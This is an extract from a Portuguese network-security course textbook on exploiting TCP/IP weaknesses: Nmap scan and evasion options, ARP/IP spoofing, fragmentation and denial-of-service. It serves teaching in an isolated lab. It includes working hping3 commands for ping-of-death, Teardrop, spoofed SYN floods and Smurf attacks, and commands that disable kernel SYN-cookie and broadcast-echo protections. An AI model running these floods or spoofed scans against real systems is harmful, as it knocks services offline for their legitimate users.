Passo 6 Desabilite o firewall do Windows.

Passo 7 Reinicie o servidor Windows 2008.

Passo 8 Instale a Role IIS e a Feature FTP Server.

Passo 9 Instale o Adobe Reader versão 9.3.4 no servidor Windows 2008.

Configuração inicial da estação de trabalho hospedeiro (física) do aluno:

Passo 1 Na estação de trabalho física, clique em Iniciar > Painel de Controle > Cone-
Segurança de Redes e Sistemas

xões de Rede > VirtualBox Host-Only Network > Propriedades > Protocolo
TCP/IP e altere o endereço IP dessa interface de rede para 10.1.G.10, máscara
de rede 255.255.255.0

Passo 2 Adicione a rota com o comando abaixo:


C:\route add –p 172.16.G.0 mask 255.255.255.0 10.1.G.1

Passo 3 Instale o Wireshark e o Firewall builder.

Passo 4 Reinicie a estação de trabalho.

18
Ao final dessa atividade, teremos a seguinte topologia, que será utilizada durante todo o curso:

Internet

Topologia A

FWGW1

.1
DHCP

DMZ
172.16.1.0/24 .1
Rede local
10.1.1.0/24
.20 .10
.10

Servidor Windows 2008 Servidor Linux

Host Windows XP

Capítulo 1 - Roteiro de Atividades

19
20
Segurança de Redes e Sistemas
2
Explorando vulnerabilidades
em redes
objetivos

Compreender o funcionamento dos ataques Denial of Service (DoS), SYN flood,


smurf, varredura, ARP poison, connection hijacking, sequence prediction attack,
buffer overflow e fraggle.

conceitos
Packet Sniffing, ARP Spoofing, IP Spoofing e fragmentação de pacotes IP.

Introdução
Com a popularização da internet, as redes de computadores passaram a usar o protocolo
TCP/IP em quase sua totalidade. Esse protocolo, apesar de ser um padrão “de fato”, é um
protocolo antigo, desenvolvido na década de 60. Nessa época, havia pouca preocupação
com segurança, visto que as redes eram restritas e controladas. Hoje em dia, existem
diversas vulnerabilidades conhecidas nesses protocolos de rede. Abaixo, discutiremos
algumas dessas vulnerabilidades. Porém, para compreendê-las, será necessário um conhe-
cimento sobre a família de protocolos TCP/IP. Caso tenha dúvidas ou necessite revisar seu
conhecimento, recomenda-se consultar o material do curso Introdução à Segurança de Redes,
oferecido pela Escola Superior de Redes.

Exercício de nivelamento 1 e Capítulo 2 - Explorando vulnerabilidades em redes

Explorando vulnerabilidades em redes


O que é o protocolo TCP/IP?

Como funciona o protocolo TCP/IP?

Penetration Test
Um teste de penetração consiste em apurar o quanto difícil é invadir uma rede de com-
putadores. Objetivamente falando, um teste de invasão ou Penetration Test é uma busca

21
e identificação de vulnerabilidades em uma rede ou sistema computacional. A forma de
elaboração de um teste pode variar, desde determinar um breve panorama de segurança
da infraestrutura de uma empresa, até o que pode-se chamar de inspeção profunda, com o
objetivo de obter informações específicas sobre um ativo de uma organização.

Um teste de penetração pode revelar: q


11 Que tipo de informação pode ser obtida fora da organização, ou seja, sem necessaria-
mente se conectar à rede da empresa ou acessá-la fisicamente.

11 Como os sistemas reagem a um ataque.

11 Se é possível acessar o sistema com informações disponíveis ou já existentes.

11 Informações que possam se tornar acessíveis em caso de pane no sistema.

Naturalmente, o objetivo de um pentest é investigar o sistema do ponto de vista do ata-


cante, identificando exposições de risco antes de se procurar uma solução.

Testes de penetração
Existem três tipos de abordagens para teste de penetração: q
Teste de penetração zero

Mais conhecido com BlackBox, onde o grupo de teste não tem nenhuma informação real
sobre o alvo e deve começar com a coleta de informações. Esse tipo de teste foi proje-
tado para oferecer o teste de penetração mais realístico possível.

Teste de penetração parcial

Mais conhecido como Grey Box, onde a organização alvo fornece à equipe de testes
informações sobre o que provavelmente um atacante motivado pode encontrar. Um
teste de penetração parcial também pode ser escolhido se o objetivo for testar um novo
tipo de ataque ou mesmo ou se a equipe quer focar em um host específico da empresa.
Para esse tipo de testes é necessário que sejam fornecidos documentos sobre topologia
de rede, política de segurança, inventário de ativos e outras informações valiosas.

Teste de conhecimento

Também conhecido como White Box, em que a equipe detém muita informação sobre
a infraestrutura e sobre os sistemas alvo. Nesse caso, o teste visa simular um atacante
que possui um conhecimento íntimo da organização alvo.

Técnicas de ataque
Uma descrição compreensiva de técnicas de ataque é fundamental para evitar danos ou
minimizar a perda de informações nos sistemas da organização. Normalmente utilizamos uma
metodologia de penetração baseadas em fases que vão evoluindo ao longo do processo.

Fase de descoberta q
Coleta de informações na organização-alvo através de servidores de sites e de correio, regis-
Segurança de Redes e Sistemas

tros públicos e bancos de dados (endereços e nomes de registros, DNS, Whois, logs etc.).

Fase de enumeração

Fase onde a equipe de testes tenta exaustivamente obter informações, como nomes de
usuários, informações sobre compartilhamentos de rede, informações sobre aplicativos,
plataformas, infraestrutura onde estão hospedados e versões dos serviços em execução.

Fase de mapeamento de vulnerabilidades

Fase em que a equipe de testes mapeia o perfil do ambiente em busca de vulnerabili-


dades publicamente conhecidas.

22
Fase de exploração q
Fase em que a equipe de testes tentará obter acesso privilegiado a um alvo utilizando fer-
ramentas conhecidas como exploits para a descoberta de vulnerabilidades identificadas.

Os atacantes estão constantemente aperfeiçoando suas táticas de invasão. Em contrapartida o


administrador de sistemas deve se atualizar constantemente buscando formas para encontrar
brechas em seus sistemas antes que invasores o façam. Um sistema seguro significa encontrar
o equilíbrio entre o valor da informação disponível e a quantia de recursos utilizados para a
proteção dessa informação.

A partir do conhecimento sobre metodologia de penetração, poderemos passar a ver os


tipos mais comuns de exploração de vulnerabilidades. Esses tipos são baseados quase que
em sua totalidade no protocolo TCP/IP.

Packet Sniffing
Sniffing O termo Packet Sniffing tem sido ao longo do tempo substituído por “Analisador de proto-
“Farejar”, em inglês, colo” (protocol analyzer) em razão de o termo sniffer ter conotação de atividade maliciosa.
consiste em capturar
pacotes em trânsito No entanto, a ação realizada é a mesma, ou seja, ler todos os pacotes de dados que estão
numa interface de rede.
trafegando em uma rede específica. Hoje, com as redes sem fio, a situação é semelhante,
com ferramentas que capturam os dados no ar. Lembre-se de que a capacidade de ler os
pacotes vai sempre ser limitada pelo uso de criptografia ou através de soluções físicas, como
o uso de um switch, que impede que uma placa de rede veja todo o tráfego de uma rede.
Na figura seguinte, vemos a interface de um programa de captura de pacotes.

Capítulo 2 - Explorando vulnerabilidades em redes

Figura 2.1
Interface de um
programa de
captura de pacotes.

23
Exercício de fixação 1 e
Penetration Test
Quais são os tipos de abordagens para teste de penetração?

Exercício de fixação 2 e
Packet sniffing
O que é e o que faz um analisador de protocolo?

Nmap
O Nmap é uma ferramenta de código aberto, utilizada para exploração de rede e audi- q
toria de segurança. Ela foi desenhada para identificar as portas de serviço que estão
abertas na máquina-alvo ou em um conjunto de máquinas. O resultado final de sua exe-
cução inclui, dependendo das opções utilizadas, informações como a versão do sistema
operacional e a versão dos serviços em execução.

Nmap 192.168.1.0/24

macbook-pro-de-ivo-peixinho:~ ivocarv$ Nmap 192.168.1.0/24

Starting Nmap 5.00 ( http://Nmap.org ) at 2010-12-30 17:58 BRT

Interesting ports on 192.168.1.1:

Not shown: 997 closed ports

PORT STATE SERVICE

23/tcp open telnet

80/tcp open http

5431/tcp open park-agent

Interesting ports on 192.168.1.6:


Segurança de Redes e Sistemas

Not shown: 991 closed ports

PORT STATE SERVICE

88/tcp open kerberos-sec

139/tcp open netbios-ssn

445/tcp open microsoft-ds

631/tcp open ipp

24
999/tcp filtered garcon

1503/tcp filtered imtc-mcs

5298/tcp open unknown

6547/tcp filtered powerchuteplus

7937/tcp filtered nsrexecd

Interesting ports on 192.168.1.11:

Not shown: 998 closed ports

PORT STATE SERVICE

88/tcp open kerberos-sec

548/tcp open afp

Nmap done: 256 IP addresses (3 hosts up) scanned in 21.43 seconds

Nesse exemplo, executamos o Nmap com as opções padrão e passamos como parâmetro a
rede 192.168.1.0/24, que corresponde à classe C 192.168.1.0 (máscara 255.255.255.0). Note
que o Nmap apresenta apenas os endereços IP que estão disponíveis, mostrando as portas
abertas em cada servidor. A seguir alguns parâmetros interessantes do Nmap:

11 -O – realiza uma tentativa de detectar o sistema operacional da máquina analisada. q


11 -P0 – realiza a varredura da máquina mesmo que ela não responda ao ping, sendo útil
em servidores que estão sendo filtrados por firewalls.

11 -v – aumenta a quantidade de informação apresentada.

11 -s<tipo> – tipo de varredura utilizada. Algumas varreduras procuram evitar que o


sistema destino registre as tentativas de acesso.

O Nmap suporta diversos tipos de varredura: S (SYN), T (Connect), A (ACK), W (Window),


M (Maimon), U (UDP), N (Null), F (FIN), X (Xmas), I (Idle), Y (SCTP) e O (IP protocol).

A execução do Nmap é bem simples, estando ele disponível para uma série de plataformas.
Abaixo alguns exemplos de execução do Nmap.
Capítulo 2 - Explorando vulnerabilidades em redes

Lembre-se de que o pacote Nmap deve estar instalado em máquinas Linux.

Técnica Explicação Exemplo

Varredura TCP SYN Tipo de varredura mais comumente uti- #Nmap -sS <ip_alvo>
lizada, facilmente detectável. O atacante
envia para o alvo pacote com a flag SYN
setada: se receber SYN/ACK, a porta está
aberta; se receber RST, a porta está fechada.

Varredura TCP Tipo de varredura padrão do Nmap, #Nmap –sT <ip_alvo>


Connect também facilmente detectável. O Nmap
procura realizar uma conexão normal
com a máquina-alvo, emitindo no final o
comando connect.

25
Técnica Explicação Exemplo

Varredura TCP FIN, Essa varredura explora uma falha sutil na #Nmap -sF <ip_alvo>
XMAS (Árvore de implementação do TCP/IP na máquina-alvo.
Natal) e TCP Nula Um atacante envia para o alvo pacote com a #Nmap -sX <ip_alvo>
flag FIN, sem flag (TCP Null) ou com todas as #Nmap -sN <ip_alvo>
flags setadas (XMAS). Se receber RST, a porta
está fechada. Se não receber nada ou um
pacote qualquer, a porta está aberta.

Varredura UDP Embora os serviços mais populares na internet #Nmap -sU ip_alvo
utilizem o protocolo TCP, serviços como DNS,
SNMP e DHCP utilizam o protocolo UDP. Essa
varredura permite identificar serviços UDP em
execução na máquina. Seu modo de funcio-
namento é bastante simples: o atacante envia
para o alvo um pacote UDP. Se receber a men-
sagem ICMP Port Unreachable, a porta está
fechada. Se não receber nada ou um pacote
qualquer, a porta está aberta.

Varredura TCP ACK Essa varredura é diferente das anteriores, #Nmap -sA ip_alvo
(detecta as portas pois nunca determina se uma porta está
que estão sendo aberta. Seu objetivo é mapear o conjunto
filtradas por um de regras de um firewall, determinando se
firewall) essas regras são orientadas à conexão ou
não e quais portas estão sendo filtradas. O
atacante envia para o alvo um pacote com as
flags ACK. Se receber RST, a porta não está
sendo filtrada. Se receber a mensagem ICMP
Unreachable, a porta está sendo filtrada.

Varredura TCP/ Tem o mesmo objetivo da varredura TCP #Nmap -sW ip_alvo
Windows (detecta ACK, exceto que explora o detalhe de imple-
as portas que estão mentação TCP/IP realizada por certos sis-
sendo filtradas por temas operacionais. O atacante envia para o
um firewall) alvo um pacote com as flags ACK. Ao receber
o pacote com a flag RST, o Nmap avaliará
o tamanho da janela TCP. Se esse valor for
positivo, a porta está aberta. Se esse valor
for igual a zero, a porta está fechada.

Varreduras Decoy Realiza varreduras em um alvo utilizando # Nmap -s S -D 101.102.103.104,


endereços falsos. O objetivo é “esconder” o 1.1.1.1, 2.2.2.2, 3.3.3.3 ip_alvo
verdadeiro alvo de sistemas de detecção de
intrusos (IDS).

Varredura utili- Explora uma falha na implementação do pro- # Nmap –b


zando o ataque FTP tocolo FTP, que permite ao atacante, a partir anonymous:senha@172.16.1.20:21
Boune do comando PORT, utilizar o servidor FTP para
escanear outras máquinas na rede do alvo. 172.16.1.1

Varreduras Alguns mecanismos de IDS utilizam o tempo # Nmap –sS <ip_alvor> -T 1


temporizadas de envio de pacotes para determinar se um
servidor está sendo “escaneado”. Para evitar
a detecção, pode-se manipular o tempo de
envio de pacotes utilizando o parâmetro – T,
Segurança de Redes e Sistemas

sendo o número “0” para Paranoid e até “5”


para Insane. Abaixo a relação dos tempos
para cada temporizador:
11Paranoid: 5 minutos de delay
11Sneaky: 15 segundos de delay
11Polite (educada): 0.4 décimos de segunds
de delay
11Normal (default)
11Aggressive (agressiva): .min2o segundos
por host
11Insane: 0.3 décimos de segunds

26
Técnica Explicação Exemplo

Varredura furtiva Possibilita a um invasor fazer uma varre- # Nmap -sF ip_alvo -S 1.1.1.111
dura forjando a origem, com o objetivo de –n –e eth0
desviar a atenção ou simplesmente irritar
o administrador.

Varredura OS Tem como objetivo identificar a versão do #Nmap -O ip_alvo


FingerPrint sistema operacional da máquina-alvo, a
partir do comportamento e das respostas
do protocolo TCP/IP.

Varredura para Varredura para identificar a versão dos ser- # Nmap -sV ip_alvo
levantamento de viços que estão em execução na máquina-alvo.
serviços no alvo

Exercício de fixação 3 e
Nmap
No Nmap, para que é utilizada a técnica de “Varredura TCP/Windows”?

Hping
A ferramenta Hping é um gerador e analisador de pacotes TCP/IP muito utilizado para q
atividades de auditoria, testes de firewall e redes, sendo bastante útil para administra-
dores e hackers. Possui suporte para os protocolos ICMP, UDP e TCP e permite a modifi-
cação de qualquer informação, tanto do payload quanto do cabeçalho do pacote.

Principais funcionalidades:

11 Teste de firewall.

11 Port scanning avançado.

11 Teste de rede, usando diferentes protocolos e fragmentação.

11 Descoberta manual de MTU.

11 Traceroute avançado, usando outros protocolos.

11 OS Fingerprinting.

11 Auditoria da pilha TCP/IP. Capítulo 2 - Explorando vulnerabilidades em redes

No último tópico deste capítulo, a ferramenta Hping será utilizada para demonstrar alguns
tipos de ataques.

ARP Spoofing
Ataques de ARP Spoofing são relativamente antigos, mas quando empregados produzem q
resultados de impacto. O conceito do ataque visa enviar um pacote ARP falso para uma

MAC rede local, direcionando o tráfego do destino correto para um sistema malicioso.

Media Access Control é O protocolo ARP traduz endereços físicos (MAC) para endereços IP. Lembre-se de que os
um protocolo de acesso
ao meio físico em uma endereços MAC são singulares, isso é, o fabricante da interface de rede associa unicamente
interface de rede. um endereço MAC a uma interface específica. Dessa forma, a apropriação da identidade de
Endereços físicos de outro sistema fará com que todo o tráfego na rede seja desviado para o sistema invasor.
interfaces de rede são
comumente chamados Outro resultado possível de ataques de ARP Spoofing é a negação de serviço contra o
de endereços MAC. sistema-alvo, pois o tráfego não chegará ao sistema de destino.
27
IP: 10.0.0.1 IP: 10.0.0.7
MAC: [bb:bb:bb:bb:bb:bb] MAC: [aa:aa:aa:aa:aa:aa]
Switch

AR .0.0
P

c: P
c]
10

I
Ca 7 p

:c
cc ta
cc
ch ara

:c pon
e
.

:c
m MA

:[ oa
od C

c:
AC ad
ifi : [c

cc
M ific
ca

d
do :cc:

pa mo
ap cc:c
c

e
on c:

ra
.0 ch
ta cc:

a
10 P C
IP cc]

.1
AR
.0

Atacante
IP: 10.0.0.3 Figura 2.2
MAC: [cc:cc:cc:cc:cc:cc] Ataque ARP
Spoofing.
IP Spoofing
Essa técnica de ataque tem como objetivo alterar um campo do cabeçalho IP, para que q
os pacotes sejam enviados como se partissem de uma origem diferente. O campo do
pacote alterado é o do endereço de origem, um campo de 32 bits que indica o endereço
IP de onde partiu o pacote. O cabeçalho IP possui um tamanho fixo de 20 octetos ou
160 bits, além de uma porção opcional, raramente utilizada.

Atacante
Endereço: 1.1.1.1

IP IP
TCP Internet TCP

De: 3.3.3.3 De: 3.3.3.3


Para: 2.2.2.2 Para: 2.2.2.2

Vítima
Segurança de Redes e Sistemas

Host confiável Endereço: 2.2.2.2


Endereço: 3.3.3.3 De: 2.2.2.2 Figura 2.3
Para: 3.3.3.3 IP Spoofing.

28
Fragmentação de pacotes IP
Uma característica do TCP/IP bastante utilizada em ataques é a fragmentação de q
pacotes. Seja para dificultar a detecção de ataques ou para realizar a negação de ser-
viços, essa característica faz parte do arsenal de técnicas de ataque. A fragmentação de
pacotes está relacionada à Maximum Transfer Unit (MTU), parâmetro que especifica a
quantidade máxima de dados que pode passar em um único pacote por um meio físico
da rede. Caso um pacote tenha tamanho superior ao suportado pelo meio físico da rede,
é fragmentado (dividido).

FDDI Por exemplo, a rede Ethernet limita a transferência a 1500 octetos de dados, enquanto o FDDI
Fiber Distributed Data permite 4470 octetos de dados por pacote. Com isso, um pacote que parta de uma rede FDDI
Interface é a tecnologia
(com 4470 octetos) e passe por uma rede Ethernet (com 1500 octetos) é dividido em quatro
de transmissão de
dados em redes. fragmentos com 1500 octetos cada um, que é o tamanho suportado pela rede Ethernet.

Os fragmentos resultantes trafegam pela rede e, quando chegam ao seu destino final, são
reagrupados, com base em offsets ou deslocamentos, reconstituindo, assim, o pacote original.
Todo esse processo de fragmentação e reagrupamento é realizado de modo automático e
transparente para o usuário, de acordo com as regras do protocolo IP.

Roteador 1 Roteador 2

Rede 1 Rede 2 Rede 3

MTU = 1500 bytes MTU = 620 bytes MTU = 1500 bytes

1500 bytes 600 bytes 1500 bytes

600 bytes

30 bytes

Figura 2.4 A possibilidade de ataques que exploram a fragmentação de pacotes IP está relacionada
Fragmentação ao modo como são implementados a fragmentação e o reagrupamento. Tipicamente, os
de pacotes IP.
sistemas não tentam processar o pacote, até que todos os fragmentos sejam recebidos e
reagrupados. Isso cria a possibilidade de ocorrer um estouro (overflow) na pilha TCP
Capítulo 2 - Explorando vulnerabilidades em redes
quando há o reagrupamento de pacotes cujo tamanho total seja maior que o espaço que
foi reservado, ou seja, pacotes maiores podem ser criados para forçar o estouro da pilha.
O resultado disso são problemas como o travamento do sistema, caracterizando ataques
do tipo Denial of Service, que comprometem a disponibilidade de recursos. Outro ataque
consiste em gerar pacotes com o offset de fragmentação negativo, que pode causar
resultados inesperados caso a pilha TCP/IP do sistema de destino não realize uma
verificação antes de tentar reagrupar os pacotes.

A fragmentação de pacotes foi explorada em ataques, inicialmente, no fim de 1996 pelo Ping
da Morte. O ataque consistia no envio de pacotes ICMP Echo Request (ping) com tamanho
de 65535 bytes. Esse tamanho, maior do que o normal, fazia com que diversos sistemas tra-
vassem por causa da sobrecarga do buffer da pilha TCP/IP, que não era capaz de reagrupar
um pacote tão grande. O ping foi empregado inicialmente devido à sua facilidade de uso,
embora outros pacotes IP grandes, sejam eles TCP (conhecido como ataque Teardrop)

29
ou UDP, possam causar esse mesmo tipo de problema. O problema existiu, na realidade,
devido a erros de implementação da pilha TCP/IP em sistemas operacionais e em equipa-
mentos de redes. Por isso, atualmente, os sistemas já corrigiram esse problema por meio
de atualizações e instalações de correções (patches). Porém, a fragmentação e o reagru-
pamento podem ser utilizados para ataques mais sofisticados, com o intuito de driblar
firewalls ou sistemas de detecção de intrusão (IDS). Isso acontece porque a fragmentação
e o reagrupamento ocorrem somente entre as pontas, o que faz com que o firewall, o
roteador ou o IDS que não suportem fragmentação, não detectem ataques cujos dados
estejam em pacotes diferentes, já que são elementos localizados entre dois hosts que se
comunicam. A fragmentação é utilizada, por exemplo, como um método de varredura como
o usado pelo Nmap, que envia pacotes fragmentados em alguns casos, de modo que sua
detecção pelo firewall ou pelo IDS torna-se mais difícil.

Ataques de negação de serviço


Os ataques de negação de serviço ou DoS (Denial of Service) possuem como objetivo afetar q
a disponibilidade dos recursos, impedindo que as informações sejam acessadas por usu-
ários legítimos. Diversas técnicas, em diferentes níveis da pilha TCP/IP, podem ser usadas
para esse fim. De uma forma geral, ataques DoS fazem com que recursos sejam explo-
rados de maneira agressiva, o que estressa o recurso, impedindo-o de realizar suas tarefas
básicas. Consequentemente, usuários legítimos ficam impossibilitados de utilizá-los.

Uma técnica típica de ataque DoS é o SYN flooding, que, com uma enxurrada de pacotes de
requisição de conexão (SYN), causa o estouro (overflow) da pilha de memória, que passa a
não aceitar novas requisições.

Outra técnica é o envio de pacotes específicos causando a interrupção do serviço, que pode
ser exemplificada pelo Smurf. Os ataques DoS vão além da pilha de protocolos TCP/IP, como
o caso de estouro de memória em aplicações (e da interrupção do serviço), muitas vezes
causado por falhas na programação desses aplicativos. As técnicas mais avançadas de DoS
são coordenadas e distribuídas, onde os ataques partem não de um equipamento, mas de
vários, que também acabam se tornando vítimas. Essa técnica é conhecida como Distributed
Denial of Service (DDoS).

Ataques de SYN flood


Um ataque SYN flood consiste em uma alteração no protocolo padrão de estabelecimento q
de comunicação no protocolo TCP, conhecido como three way handshake.

Em uma comunicação TCP normal, são trocadas as seguintes mensagens para estabelecimento
de uma sessão:

1. O cliente envia uma requisição de conexão: pacote com a opção SYN habilitada e com
o número de sequência x.
Segurança de Redes e Sistemas

2. O servidor recebe o pacote SYN e responde com uma mensagem de reconhecimento, que
consiste em um pacote com as opções SYN e ACK habilitadas (SYN-ACK) e com números
de sequência x+1 e y. O servidor, então, adiciona 1 ao número de sequência recebido pelo
cliente (x). Esse foi o método estabelecido para identificar uma determinada requisição.

3. O cliente reconhece o pacote SYN-ACK (pacote ACK com y + 1). O cliente adiciona 1 ao
número de sequência y recebido pelo servidor.

4. A conexão é estabelecida.

5. A troca de dados acontece.

30
6. A conexão é encerrada com um pacote com flag FIN.

7. A conexão é encerrada de forma anormal com um pacote RST.

Um ataque de flooding, ou enxurrada de pacotes, consiste em uma técnica para desestabilizar


e derrubar recursos computacionais, e pode acontecer em vários níveis do TCP/IP. SYN
Flooding é um ataque de negação de serviço que explora o mecanismo de estabelecimento de
conexões TCP, baseado em handshake em três vias (three-way handshake). O ataque consiste
no envio de um grande número de requisições de conexão (pacotes SYN) para a vítima, de tal
maneira que ela se torne incapaz de responder a todas as requisições. Com um grande
número de requisições SYN simultâneas, a quantidade de conexões máximas é atingida e a
vítima fica incapacitada de atender a conexões legítimas, até que a memória seja liberada.
Caso o ataque seja realizado de forma continuada, este pode tornar um serviço indisponível.

SYN (IP de origem falsificado)

SYN (IP de origem falsificado)

SYN (IP de origem falsificado) Vítima


Figura 2.5
Ataque de flooding. Atacante

Ataque Smurf
Smurf é outro ataque de negação de serviço, no qual um grande tráfego de pacotes ping q
(ICMP echo) é enviado para o endereço IP de broadcast da rede, tendo como origem o
Spoofing endereço IP da vítima (IP Spoofing).
Em inglês, “falsificação”,
“disfarce”; se refere aos Com o broadcast, cada host da rede recebe a requisição de ICMP echo, passando todos
ataques onde infor- eles a responderem para o endereço de origem, que é falsificado, pois é o comportamento
mações no cabeçalho
padrão quando um pacote tem por destino o endereço de broadcast da rede. A rede utili-
dos protocolos são
falsificadas. zada também é afetada, pois todos os seus hosts respondem à requisição ICMP, passando
a atuar como um amplificador. Além disso, a vítima, que teve o seu endereço IP falsifi-
cado, recebe os pacotes de todos esses hosts, ficando impedida de executar suas funções
normais, sofrendo assim um ataque de negação de serviço. As vítimas do ataque, assim, são
a rede e o host que teve o seu endereço IP falsificado.

Capítulo 2 - Explorando vulnerabilidades em redes

31
Ataque Smurf

Atacante envia pacote com endereço IP falsificado

Respostas ICMP encaminhadas para a vítima

Figura 2.6
Ataque Smurf.

Varredura
Apesar de não ser necessariamente uma vulnerabilidade, a varredura (scanning) é uma w
técnica muito usada por atacantes para verificar quais endereços IP de uma determinada Existem ferramentas
rede estão associados a servidores e quais portas estão abertas (TCP e UDP) nesses servi- específicas para fazer
varredura, sendo a
dores. A varredura consiste em tentar conexão em um conjunto de endereços IP e portas, mais famosa a
verificando quais retornam algum tipo de resposta. ferramenta livre Nmap.

Zenmap

O Zenmap é a interface gráfica oficial (Frontend) do já conhecido programa Nmap Security


Scanner, possuindo versões para plataformas como Windows, Linux, MacOS, BSD, entre
outras. Com essa ferramenta, a tarefa de levantamento de informações do protocolo TCP/IP
se torna mais fácil e produtiva, principalmente por revelar aos iniciantes opções avançadas
de exploração de portas oferecidas pelo Nmap.
Segurança de Redes e Sistemas

32
Figura 2.7
Técnica da varre-
dura Zenmap.

Com o Zenmap podemos:

11 Salvar comandos de varreduras frequentemente utilizadas.

11 Utilizar o Command Wizard para criar interativamente comandos de varredura.

11 Salvar resultados de varreduras para visualização posterior.

11 Comparar varreduras salvas e verificar suas diferenças.

11 Criar topologias de rede com a ferramenta Topology Mapping Tool.

Além dessas opções, o Zenmap disponibiliza todas as varreduras em uma base de dados
totalmente pesquisável.

Topology Mapping Tool

Capítulo 2 - Explorando vulnerabilidades em redes


Essa ferramenta provê uma visão interativa e animada das conexões entre computadores.
Combinada com a opção traceroute do Nmap pode descobrir o caminho dos hosts dentro
de uma rede de computadores.

33
Exercício de fixação 3 e
Figura 2.8
Zenmap Topology
IP Spoofing Mapping Tool.

Explique o que é um IP Spoofing?

Exercício de fixação 4 e
DoS
Explique o que é um ataque de negação de serviço?

Alguns tipos de ataques


Fragmentação de pacotes (ping da morte)
Para realizar a fragmentação de pacotes ou ping da morte, o atacante enviará um pacote
maior que o PDU da rede, sobrecarregando o host de destino quando ele tentar remontar a
informação.

Para realizar o ataque, execute:


Segurança de Redes e Sistemas

# hping3 -V -c 100 -d 65495 --icmptype 8 <ip_alvo>

Onde:

-V = modo monitor.

-c = quantidade de pacotes enviados.

-d = quantidade de bytes de dados, maior que 1480 para ativar a fragmentação.

--icmptype 8 = mensagem ICMP Echo Request.

34
Ou5

# ping –i -l 65500 <ip_alvor> -t

Onde:

-i = indica que cada ping deve ser realizado em um intervalo de um milésimo de segundo.

-l = define o tamanho do pacote.

-t = envia os pacotes por tempo indeterminado.

Fragmentação de pacotes (Teardrop)


Ataque de negação de serviço que também explora o princípio da fragmentação do pacote
IP. O ataque Teardrop consiste em modificar o número de sequência que identifica a ordem
correta de remontagem do pacote, de forma a inserir espaços vazios, podendo provocar
instabilidade no sistema-alvo.

Para realizar o ataque, execute:

# hping3 –V –c 100 –d 65500 –S –p 80 –s 4657 –a <ip_spofado> <ip_alvo>

O comando acima ativa o modo monitor (-V), que permite monitorar as respostas. Serão
enviados 100 pacotes (-c) com tamanho de 65500 (-d) bytes de dados (deve ser maior que
1480 para ativar a fragmentação). A opção “-S” informa para enviar o pacote com a flag SYN
configurada para a porta 80 (-p) e porta de origem 4657 (-s). A opção “–a” trocará o endereço
de origem do pacote, permitindo a realização do spoof.

Simulando um ataque de Synflood


Esse ataque consiste em enviar uma enxurrada de pacotes com a flag SYN ativa, utilizando a
ferramenta hping3. Para isso, será necessário desativar a proteção contra SYN Flooding do
kernel do Linux. Essa opção vem habilitada por padrão na distribuição Debian. Para desabi-
litar a proteção, use o seguinte comando:

# echo 0 > /proc/sys/net/ipv4/tcp_syncookies

Nota: como o exemplo a seguir realiza o ataque a um servidor web, antes de executar o
comando verifique a disponibilidade do servidor http que será atacado. Execute tcpdump
ou Wireshark para verificar os pacotes de ataque que estão sendo enviados. Para executar o
tcpdump, utilize o comando:

# tcpdump -i INTERFACE host IP_DO_ALVO -n Capítulo 2 - Explorando vulnerabilidades em redes

Por fim, você deve digitar o seguinte comando para iniciar o ataque:

# hping3 IP_DO_ALVO -p 80 -S --faster --rand-source

O comando acima envia pacotes TCP com a flag SYN ativada (-S), para a porta do serviço
web (-p 80), enviando um pacote a cada microssegundo (--faster) e alterando o endereço de
origem aleatoriamente (--rand-source).

Enquanto o ataque está em andamento, tentar acessar o serviço web da máquina-alvo


através de um navegador. Você não deve conseguir acessar o serviço, pois a máquina está
sobrecarregada tratando as diversas requisições enviadas pelo hping.

Para finalizar a execução do hping e do tcpdump, basta digitar CTRL+C.

35
Simulando um ataque Smurf
Nesse ataque será utilizado o comando hping para enviar pacotes ICMP Echo Request para
o endereço de broadcast da rede. Assim, todas as máquinas responderão para o endereço
de origem especificado no pacote que deve estar alterado para o endereço-alvo (Spoofing).
Para que o ataque seja efetivo, a proteção contra ICMP Echo Request para endereço de
broadcast deve estar desabilitada em todas as máquinas do laboratório. Para desativar essa
proteção nas máquinas Linux, use o seguinte comando:

# echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

Após liberar a resposta para ICMP Echo Request para o endereço de broadcast da rede,
inicie tcpdump ou Wireshark em um terminal separado, para verificar o andamento do
ataque com o comando:

# tcpdump -i INTERFACE host IP_DO_ALVO -n

Digite o seguinte comando para iniciar o ataque:

# hping3 END_BROADCAST_REDE --icmp --faster -a IP_ALVO

O comando acima vai enviar pacotes ICMP Echo Request para o endereço de broadcast da
rede do laboratório, no modo mais rápido possível (um pacote a cada 1 microssegundo),
com endereço de origem alterado para IP_ALVO (Spoofing). Os alunos devem verificar no
tcpdump os pacotes de ICMP Echo Reply que estão sendo enviados para o alvo do ataque.

O tamanho do pacote ICMP Echo Request enviado ainda pode ser aumentado para forta-
lecer o ataque. Assim, a banda do alvo será rapidamente consumida pelos pacotes de ICMP
Echo Reply.

# hping3 END_BROADCAST_REDE --icmp --faster -a IP_ALVO -d 1000

Neste tópico foram abordados alguns ataques conhecidos em redes TCP/IP. Existe ainda
uma série de outros ataques conhecidos, como: ARP poison, connection hijacking, sequence
w
O site www.powertech.
prediction attack, buffer overflow, fraggle e race condition, entre outros. Os documentos a no/smurf lista algumas
seguir fornecem mais informações caso tenha interesse em se aprofundar no assunto: redes que aceitam
ICMP Echo Request
11 Técnicas adotadas pelos crackers para entrar em redes corporativas, de Cristiano para o endereço de
broadcast e podem ser
Gerlach, Rede Nacional de Ensino e Pesquisa (RNP).
utilizadas como
11 Introduction to TCP/IP Network Attacks (Introdução aos ataques a redes TCP) de Guang amplificadores para
ataques Smurf. No site
Yang, Department of Computer Science, Iowa State University.
também é possível
11 Attack Lab: Attacks on TCP/IP Protocols (Laboratório de ataques: ataques a protocolos verificar se a sua rede
está vulnerável a esse
TCP/IP) de Wenliang Du, Syracuse University.
tipo de ataque.

Exploit
Segurança de Redes e Sistemas

Exploit significa literalmente “explorar”, sendo uma palavra usada para se referir a pequenos
códigos de programas para explorar falhas de segurança causadas por erros de programação.

Um exploit é uma ferramenta de segurança com o objetivo de explorar uma vulnerabilidade


de um sistema. Há alguns anos atrás, para que um usuário pudesse testar um sistema ou
rede, ele necessitaria escrever um código específico para isso. Hoje, exploits são diaria-
mente criados e divulgados pela comunidade hacker. Embora agressores ainda criem novos
ataques e os usem em segredo, a nova tendência é de crescimento no compartilhamento
de informações sobre vulnerabilidades e seus respectivos exploits, o que pode ser, depen-
dendo do ponto de vista, bom e ruim.

36
Metasploit
O Metasploit é um framework específico para testes de penetração. É uma ferramenta
bastante utilizada, visto que possui diversos plugins para exploração de vulnerabilidades de
forma simples, que são atualizados constantemente.

